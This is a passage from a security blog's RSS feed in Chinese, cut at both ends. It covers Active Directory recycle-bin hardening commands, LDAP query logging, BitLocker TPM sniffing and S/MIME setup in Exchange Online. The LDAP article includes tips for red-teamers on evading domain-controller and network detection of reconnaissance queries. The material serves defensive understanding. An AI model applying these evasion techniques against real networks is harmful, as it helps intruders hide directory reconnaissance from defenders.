&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Directory&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Windows&lt;/span&gt; &lt;span class="n"&gt;NT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Services&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Configuration&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;corp&lt;/span&gt; &lt;span class="n"&gt;的&lt;/span&gt; &lt;span class="n"&gt;tombstoneLifetime&lt;/span&gt; &lt;span class="n"&gt;已更新&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=bloody,DC=corp&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;msDS-DeletedObjectLifetime&lt;/span&gt; &lt;span class="n"&gt;-v&lt;/span&gt; &lt;span class="mf"&gt;30&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Directory&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Windows&lt;/span&gt; &lt;span class="n"&gt;NT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Services&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Configuration&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;corp&lt;/span&gt; &lt;span class="n"&gt;的&lt;/span&gt; &lt;span class="nb"&gt;msDS-DeletedObjectLifetime&lt;/span&gt; &lt;span class="n"&gt;已更新&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;强制回收状态&lt;/strong&gt;&lt;br&gt;
对于敏感对象，可通过再次删除使其进入回收状态：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-ADObject&lt;/span&gt; &lt;span class="n"&gt;-Filter&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;isDeleted&lt;/span&gt; &lt;span class="o"&gt;-eq&lt;/span&gt; &lt;span class="vm"&gt;$True&lt;/span&gt; &lt;span class="o"&gt;-and&lt;/span&gt; &lt;span class="n"&gt;samaccountname&lt;/span&gt; &lt;span class="o"&gt;-eq&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;recycletest&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;-IncludeDeletedObjects&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;Remove-ADObject&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="flex px-4 py-3 mb-6 rounded-md bg-primary-100 dark:bg-primary-900"&gt;
&lt;span class="pr-3 pt-1 text-primary-600 dark:text-primary-300"&gt;
&lt;svg height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"&gt;&lt;path fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5" d="m11.25 11.25l.041-.02a.75.75 0 0 1 1.063.852l-.708 2.836a.75.75 0 0 0 1.063.853l.041-.021M21 12a9 9 0 1 1-18 0a9 9 0 0 1 18 0m-9-3.75h.008v.008H12z"/&gt;&lt;/svg&gt;
&lt;/span&gt;
&lt;span class="dark:text-neutral-300"&gt;仅在启用回收站时可用。&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;限制恢复权限&lt;/strong&gt;&lt;br&gt;
仅可信管理员应有恢复对象的权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="结论"&gt;结论&lt;/h2&gt;
&lt;p&gt;AD回收站不仅仅是个便利功能——它也是潜在的攻击面。通过“查找回收站”，攻击者能发现防御者常常忽略的权限提升路径。通过适当的审计、监控和策略，组织可以将这一隐藏风险转化为可控风险。&lt;/p&gt;</description></item><item><title>像忍者一样执行 AD LDAP 查询</title><link>https://cravaterouge.com/zh/articles/ldapad-logging/</link><pubDate>Tue, 24 Dec 2024 00:00:00 +0000</pubDate><guid>https://cravaterouge.com/zh/articles/ldapad-logging/</guid><description>&lt;p&gt;不久前，一位蓝队成员联系了我，他很尴尬，因为他能够检测到 SharpHound 的 LDAP 查询，但在他的 SIEM 中找不到使用
（我开发的一个 AD 审计工具）进行的 LDAP 查询的任何痕迹。我感到困惑并想进一步调查，但后来忘记了，直到最近 😅。在为我的工具开发新功能时，我意识到我无法在域控制器 (DC) 日志中看到任何 LDAP 查询来帮助我调试。&lt;/p&gt;
&lt;h2 id="active-directory-中的-ldap-日志记录"&gt;Active Directory 中的 LDAP 日志记录&lt;/h2&gt;
&lt;p&gt;据我所知，有三种
（如果我遗漏了，请告诉我）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;客户端日志记录&lt;/strong&gt;：&lt;code&gt;Microsoft-Windows-LDAP-Client - Event ID 30&lt;/code&gt;&lt;br&gt;
当通过 &lt;code&gt;wldap32.dll&lt;/code&gt; 使用 LDAP 客户端 API 访问 LDAP 时，此日志记录详细信息，例如启动进程、搜索条目、过滤器和搜索范围。&lt;br&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="Event ID 30"
srcset="https://cravaterouge.com/articles/ldapad-logging/event30_hu_ca81b0468cc9942f.webp 320w, https://cravaterouge.com/articles/ldapad-logging/event30_hu_e1621ab5395498f6.webp 480w, https://cravaterouge.com/articles/ldapad-logging/event30_hu_ba262d7eaa7152ce.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/articles/ldapad-logging/event30_hu_ca81b0468cc9942f.webp"
width="760"
height="536"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网络嗅探&lt;/strong&gt;：捕获 LDAP 流量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DC 端日志记录&lt;/strong&gt;：&lt;code&gt;Microsoft-Windows-ActiveDirectory_DomainService - Event ID 1644&lt;/code&gt;&lt;br&gt;
此日志记录来自所有交互主机的域控制器的昂贵、低效或缓慢的 LDAP 查询。&lt;br&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="Event ID 1644"
srcset="https://cravaterouge.com/articles/ldapad-logging/featured_hu_51219476e3ad652c.webp 320w, https://cravaterouge.com/articles/ldapad-logging/featured_hu_ae02e9b74bcd204f.webp 480w, https://cravaterouge.com/articles/ldapad-logging/featured_hu_ace8ad6c65889cb1.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/articles/ldapad-logging/featured_hu_51219476e3ad652c.webp"
width="760"
height="549"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="绕过-ldap-日志记录"&gt;绕过 LDAP 日志记录&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;客户端日志记录&lt;/strong&gt;：通过不在受监控的机器上或使用不调用 &lt;code&gt;wldap32.dll&lt;/code&gt; 执行 LDAP 查询的工具（例如，Python 工具如
或
）轻松绕过。\&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网络嗅探&lt;/strong&gt;：通过 LDAP 会话加密绕过，这是
和任何使用 Windows 库的工具的默认设置（不需要 LDAPS 进行加密）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DC 端日志记录&lt;/strong&gt;：如果严格配置，则无法绕过日志记录。然而，严格配置比预期更复杂，这就是为什么
绕过了蓝队成员的检测能力。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="更深入地了解-dc-上的-ldap-日志记录"&gt;更深入地了解 DC 上的 LDAP 日志记录&lt;/h3&gt;
&lt;p&gt;默认情况下，
。要启用日志记录，请将以下注册表键设置为 &lt;strong&gt;5&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics\Field Engineering
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然而，只有某些查询会以这种方式记录。此日志记录功能旨在检测昂贵和低效的 LDAP 查询，而不是威胁。默认的阈值如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
（默认 10000）：如果 LDAP 查询访问的条目超过 10,000，则被认为是_昂贵的_。&lt;/li&gt;
&lt;li&gt;
（默认 1000）：如果搜索访问的条目超过 1,000 且返回的条目少于访问条目的 10%，则被认为是_低效的_。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;搜索时间阈值&lt;/strong&gt;（默认 30 秒）：如果 LDAP 查询耗时超过 30 秒，则被认为是昂贵/低效的。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些
可以通过创建以下注册表键并设置更低的值来修改：&lt;/p&gt;
&lt;table class="overflow-auto block"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;注册表路径&lt;/th&gt;
&lt;th&gt;数据类型&lt;/th&gt;
&lt;th&gt;默认值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\Search Time Threshold (msecs)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DWORD&lt;/td&gt;
&lt;td&gt;30,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\Expensive Search Results Threshold&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DWORD&lt;/td&gt;
&lt;td&gt;10,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\Inefficient Search Results Threshold&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DWORD&lt;/td&gt;
&lt;td&gt;1,000&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;直观的方法是将所有值设置为 &lt;strong&gt;0&lt;/strong&gt; 以便能够看到每个 LDAP 查询，但实际上根据我的经验，如果这样做，Windows 将忽略这些值并使用默认值。这是解释为什么某些威胁检测工具对某些 LDAP 查询视而不见的棘手部分。&lt;/p&gt;
&lt;p&gt;正确的做法是仅创建 &lt;em&gt;昂贵的搜索结果阈值&lt;/em&gt; 注册表键并将其设置为 &lt;strong&gt;1&lt;/strong&gt;。在这些设置下，即使是
也无法绕过 LDAP 检测！&lt;/p&gt;
&lt;div class="flex px-4 py-3 mb-6 rounded-md bg-primary-100 dark:bg-primary-900"&gt;
&lt;span class="pr-3 pt-1 text-primary-600 dark:text-primary-300"&gt;
&lt;svg height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"&gt;&lt;path fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5" d="m11.25 11.25l.041-.02a.75.75 0 0 1 1.063.852l-.708 2.836a.75.75 0 0 0 1.063.853l.041-.021M21 12a9 9 0 1 1-18 0a9 9 0 0 1 18 0m-9-3.75h.008v.008H12z"/&gt;&lt;/svg&gt;
&lt;/span&gt;
&lt;span class="dark:text-neutral-300"&gt;您还可以为每个对象设置审计策略，但我将在另一篇文章中讨论。&lt;/span&gt;
&lt;/div&gt;
&lt;h2 id="结论"&gt;结论&lt;/h2&gt;
&lt;p&gt;正确记录 LDAP 查询以检测威胁比看起来更复杂。蓝队成员在设置时应小心。对于红队成员，这里有一些提示可以降低 LDAP 查询（尤其是像
这样的标记查询）的检测概率：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;避免在受监控的机器上使用 &lt;code&gt;wldap32.dll&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用支持 LDAP 加密的工具&lt;/li&gt;
&lt;li&gt;缩小 LDAP 查询的基础范围以保持在阈值以下（例如，在 &lt;code&gt;CN=Users,Dc=bloody,DC=corp&lt;/code&gt; 上执行 AS-REP roastable users 搜索，而不是在 &lt;code&gt;DC=bloody,DC=corp&lt;/code&gt; 上）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以上就是这篇文章的全部内容，希望能帮助您更好地理解 AD 环境中的 LDAP 查询检测。&lt;/p&gt;</description></item><item><title>启用了 BitLocker。你真的受到保护了吗？</title><link>https://cravaterouge.com/zh/articles/tpm-sniffing/</link><pubDate>Tue, 26 Nov 2024 00:00:00 +0000</pubDate><guid>https://cravaterouge.com/zh/articles/tpm-sniffing/</guid><description>&lt;p&gt;周五晚上，你刚刚结束了一天的工作。你决定在楼下的酒吧喝一杯放松一下，然后再回家。一切都很顺利，你放松地享受着夜晚，但当你再次看向公文包时，它已经不见了。不幸的是，它里面装有敏感数据。然而还有希望，因为你用 &lt;a href="https://learn.microsoft.com/zh-cn/windows/security/operating-system-security/data-protection/bitlocker/" target="_blank" rel="noopener"&gt;BitLocker&lt;/a&gt; 加密了硬盘！但 &lt;a href="https://learn.microsoft.com/zh-cn/windows/security/operating-system-security/data-protection/bitlocker/" target="_blank" rel="noopener"&gt;BitLocker&lt;/a&gt; 真能保护你吗？让我们仔细看看。&lt;/p&gt;
&lt;h2 id="什么是-bitlocker"&gt;什么是 BitLocker？&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://learn.microsoft.com/zh-cn/windows/security/operating-system-security/data-protection/bitlocker/" target="_blank" rel="noopener"&gt;BitLocker&lt;/a&gt; 是自 Windows Vista 起提供的一项 Windows 功能，它允许你加密磁盘存储，以避免数据被盗或暴露的风险。&lt;/p&gt;
&lt;p&gt;如果没有配置身份验证因素，它的设置非常简单且对用户透明。如果你不确定电脑上是否启用了 BitLocker，可以在控制面板中检查：&lt;br&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="bitlocker enabled"
srcset="https://cravaterouge.com/articles/tpm-sniffing/bitlocker_on_hu_f4f0e9a7febda40f.webp 320w, https://cravaterouge.com/articles/tpm-sniffing/bitlocker_on_hu_a3cc2618e82a36d5.webp 480w, https://cravaterouge.com/articles/tpm-sniffing/bitlocker_on_hu_10d3d8ca56f71391.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/articles/tpm-sniffing/bitlocker_on_hu_f4f0e9a7febda40f.webp"
width="760"
height="401"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 id="bitlocker-如何工作"&gt;BitLocker 如何工作？&lt;/h2&gt;
&lt;p&gt;BitLocker 使用一个称为卷主密钥 (VMK) 的密钥来加密和解密磁盘。问题是如何存储这个 VMK 以防止它被轻易获取？&lt;br&gt;
如果将其存储在磁盘上，我们只需将磁盘插入另一台电脑并检索 VMK 即可解密整个磁盘。相反，如果你的电脑配备了一个（如今大多数电脑都有），密钥将存储在一个称为可信平台模块 (TPM) 的安全组件中。&lt;/p&gt;
&lt;h2 id="什么是-tpm"&gt;什么是 TPM？&lt;/h2&gt;
&lt;p&gt;可信平台模块 (TPM) 是一种专门设计用于管理加密密钥的微控制器。它大约在 2005 年开始出现在电脑中。实际上，电脑需要一个能够保守秘密且无法被破坏的组件，无论它落入谁的手中。&lt;br&gt;
类似的要求也适用于银行卡，银行希望确保卡内的秘密无法被提取。&lt;br&gt;
当向 TPM 请求密钥时，TPM 将通过不同的方法验证你是否是合法用户。对于 BitLocker，如果启用了安全启动，它将验证电脑的固件和软件是否未被恶意修改。&lt;/p&gt;
&lt;h2 id="保护还是不保护"&gt;保护还是不保护？&lt;/h2&gt;
&lt;p&gt;好了，说了这么多，我们现在知道 VMK 安全地存储在 TPM 中，并且只能由合法的 BitLocker 检索。那么会出什么问题呢？&lt;br&gt;
实际上，攻击者可能会执行所谓的 &lt;a href="https://blog.scrt.ch/2021/11/15/tpm-sniffing/" target="_blank" rel="noopener"&gt;TPM 嗅探&lt;/a&gt;，即在 BitLocker 想要解密驱动器时窃听 BitLocker 和 TPM 之间的通信。&lt;/p&gt;
&lt;p&gt;但你需要知道 TPM 有两种主要类型：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;固件 TPM&lt;/strong&gt;：这种 TPM 运行在 CPU 内部。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;离散 TPM&lt;/strong&gt;：这种 TPM 是主板上的一个芯片。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;正如你可能已经猜到的，窃听固件 TPM 几乎是不可能的，但对于离散 TPM，一些 &lt;a href="https://post-cyberlabs.github.io/Offensive-security-publications/posts/2024_09_tpmandpin/#data-capture" target="_blank" rel="noopener"&gt;网络教程&lt;/a&gt;、动机和大约 500 至 1500 美元的设备就可以大显身手！你只需识别主板上的 TPM 芯片并将探针焊接到 TPM 的引脚上，就可以开始了！&lt;/p&gt;
&lt;p&gt;要确定你拥有哪种类型的 TPM，没有直接的方法。你可以尝试使用 Windows 的 &lt;code&gt;tpm.msc&lt;/code&gt; 工具并搜索与制造商和版本匹配的 TPM：&lt;br&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="tpm.msc capture"
srcset="https://cravaterouge.com/articles/tpm-sniffing/tpm_msc_hu_9bd817e78803b70a.webp 320w, https://cravaterouge.com/articles/tpm-sniffing/tpm_msc_hu_7d8dfb845ad571c8.webp 480w, https://cravaterouge.com/articles/tpm-sniffing/tpm_msc_hu_990fdbd9e98dcb08.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/articles/tpm-sniffing/tpm_msc_hu_9bd817e78803b70a.webp"
width="760"
height="408"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;如果这不起作用，你可能需要检查笔记本电脑的规格。&lt;/p&gt;
&lt;p&gt;即使你有一个 &lt;strong&gt;离散 TPM&lt;/strong&gt;，仍然有希望。实际上，BitLocker 允许你添加一个身份验证因素，例如 PIN 或启动密钥。在这种情况下，只有在提供正确的因素时，TPM 才会允许请求 VMK。否则，TPM 不会提供任何信息！&lt;br&gt;
暴力破解因素不是一个可行的选项，因为这需要向 TPM 发送请求，这将需要篡改固件或软件。如前所述，对这些组件的任何修改都会阻止 TPM 响应。&lt;br&gt;
因此，唯一的方法是诱骗用户在设置了监听探针的情况下输入其 PIN，但这种情况非常不可能。&lt;br&gt;
瑞士 Orange Cyberdefense 攻击团队的一篇 &lt;a href="https://blog.scrt.ch/2024/10/28/privilege-escalation-through-tpm-sniffing-when-bitlocker-pin-is-enabled/" target="_blank" rel="noopener"&gt;精彩文章&lt;/a&gt;对此进行了很好的解释。&lt;/p&gt;
&lt;h2 id="总结"&gt;总结&lt;/h2&gt;
&lt;p&gt;正如你所见，BitLocker 并非完美无缺，但它已经为防止数据被盗提供了额外的安全层，尤其是如果你拥有固件 TPM。此外，还可以添加 PIN 或启动密钥以增强安全性。&lt;br&gt;
此流程图简要概述了 BitLocker 的安全性：&lt;br&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;&lt;img alt="bitlocker protection flowchart"
src="https://cravaterouge.com/articles/tpm-sniffing/bitlocker_flowchart.svg"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/p&gt;</description></item><item><title>在Exchange Online和OWA中实现S/MIME</title><link>https://cravaterouge.com/zh/articles/smime-exchange/</link><pubDate>Thu, 14 Nov 2024 00:00:00 +0000</pubDate><guid>https://cravaterouge.com/zh/articles/smime-exchange/</guid><description>&lt;p&gt;啊，电子邮件，发明于20世纪末，至今仍是沟通的基石。然而，随着安全需求的增加，我们必须找到新的方法来确保电子邮件通信的安全。为什么？因为电子邮件服务器使用SMTP协议来交换邮件，这是一个未加密的协议，因此我们无法保证机密性和真实性。虽然我们可以通过SMTPS或STARTTLS将其包装在TLS中，但如果您使用的是&lt;strong&gt;Exchange Online&lt;/strong&gt;，而收件方的邮件服务器不支持TLS，那么通信将是&lt;a href="https://learn.microsoft.com/en-us/purview/exchange-online-uses-tls-to-secure-email-connections#tls-basics-for-microsoft-365-and-exchange-online" target="_blank" rel="noopener"&gt;简单的未加密SMTP&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;这就是像&lt;a href="https://en.wikipedia.org/wiki/S/MIME" target="_blank" rel="noopener"&gt;S/MIME&lt;/a&gt;（安全/多用途互联网邮件扩展）这样的标准来拯救我们的地方！使用这个标准，您可以在发送邮件之前使用您的私钥对邮件进行签名，收件人可以通过您的公钥验证签名（公钥需要通过其他安全方式与收件人交换）。您还可以使用收件人的公钥加密邮件，以确保只有该收件人可以打开它。&lt;/p&gt;
&lt;p&gt;然后您可能会说，这个小故事很有趣，但我该如何实现呢？您可以在每个支持它的电子邮件客户端上实现S/MIME，比如旧版Outlook，但这样您需要在每个电子邮件客户端上添加联系人公钥，这可能有点繁琐，但确实可行！另外需要注意的是，新版Outlook尚不支持S/MIME，但预计将在&lt;a href="https://www.microsoft.com/en-us/microsoft-365/roadmap?filters=Outlook%2CDesktop%2CWeb&amp;amp;searchterms=s%2Fmime" target="_blank" rel="noopener"&gt;2024年11月&lt;/a&gt;内支持它。然而，如果您使用的是Exchange Online，您可以为所有联系人一次性在服务器上设置公钥！但这并不是魔法，每个用户仍然需要在其设备上本地安装自己的私钥。&lt;/p&gt;
&lt;p&gt;在本文中，我们将看到如何在Exchange Online和Outlook on the Web（OWA）上实现它。&lt;/p&gt;
&lt;h2 id="在本地机器上安装私钥"&gt;在本地机器上安装私钥&lt;/h2&gt;
&lt;h3 id="为owa安装smime控件"&gt;为OWA安装S/MIME控件&lt;/h3&gt;
&lt;p&gt;首先，您需要在浏览器上安装S/MIME控件（截至目前，它仅支持Edge和Chrome），以便OWA可以调用本地机器的Windows API来使用安装在其上的私钥加密/签名邮件。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打开&lt;code&gt;outlook.office.com&lt;/code&gt;，点击右上角的齿轮图标进入设置
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="gear"
srcset="https://cravaterouge.com/media/smime/smime_control1_hu_af4ce10460c3eae3.webp 320w, https://cravaterouge.com/media/smime/smime_control1_hu_f9a5bc62bc1eb93a.webp 480w, https://cravaterouge.com/media/smime/smime_control1_hu_c906b4046f7b62a5.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/smime_control1_hu_af4ce10460c3eae3.webp"
width="760"
height="349"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;点击&lt;code&gt;Mail &amp;gt; SMIME&lt;/code&gt;，然后点击链接&lt;code&gt;click here&lt;/code&gt;安装浏览器扩展
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="click link"
srcset="https://cravaterouge.com/media/smime/smime_control2_hu_ab2bc4792c3fbcd4.webp 320w, https://cravaterouge.com/media/smime/smime_control2_hu_bb34dcecf9247d9d.webp 480w, https://cravaterouge.com/media/smime/smime_control2_hu_5102a1af725385e7.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/smime_control2_hu_ab2bc4792c3fbcd4.webp"
width="760"
height="385"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;安装浏览器扩展后，返回设置页面，点击链接&lt;code&gt;click here&lt;/code&gt;下载并安装控件扩展&lt;code&gt;SmimeOutlookWebChrome.msi&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;完成后，重启浏览器，确保这些选项框不再灰显。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="安装您的smime证书"&gt;安装您的S/MIME证书&lt;/h3&gt;
&lt;p&gt;如果您还没有证书，您需要申请一个。您可以向公共CA（证书颁发机构）申请，但除了&lt;a href="https://extrassl.actalis.it/portal/uapub/freemail?lang=en" target="_blank" rel="noopener"&gt;Actalis&lt;/a&gt;，我不知道其他免费的公共CA提供S/MIME证书。您也可以向自己的私有CA申请（例如使用openssl），但随后您需要将私有CA的公证书导入&lt;code&gt;crtmngr&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;然后，您需要在浏览器的机器上安装您的证书：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;双击您的&lt;code&gt;.p12&lt;/code&gt;证书，按照向导操作并提供证书密码：
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="wizard store"
srcset="https://cravaterouge.com/media/smime/cert_install1_hu_75f2d02c5a05a8a9.webp 320w, https://cravaterouge.com/media/smime/cert_install1_hu_773f30375c64a920.webp 480w, https://cravaterouge.com/media/smime/cert_install1_hu_c792efe00a5e3945.webp 657w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install1_hu_75f2d02c5a05a8a9.webp"
width="657"
height="595"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="wizard location"
